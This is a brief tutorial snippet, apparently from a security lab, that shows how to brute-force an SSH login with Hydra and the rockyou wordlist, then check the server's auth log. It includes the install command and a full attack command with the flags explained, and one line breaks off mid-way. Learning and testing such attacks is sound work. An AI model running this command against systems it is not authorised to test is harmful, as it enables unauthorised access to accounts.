Brute force attacks involve systematically trying different password combinations to gain unauthorized access to a system. Hydra is a powerful tool that automates this process against SSH.
sudo apt install hydra -y
hydra -l <username> -P /usr/share/wordlists/rockyou.txt ssh://<server-ip>
-l username specifies the target username.
-P /usr/share/wordlists/rockyou.txt points to the password list.
ssh://

ssh <username>@<server-ip>
sudo tail /var/log/auth.log
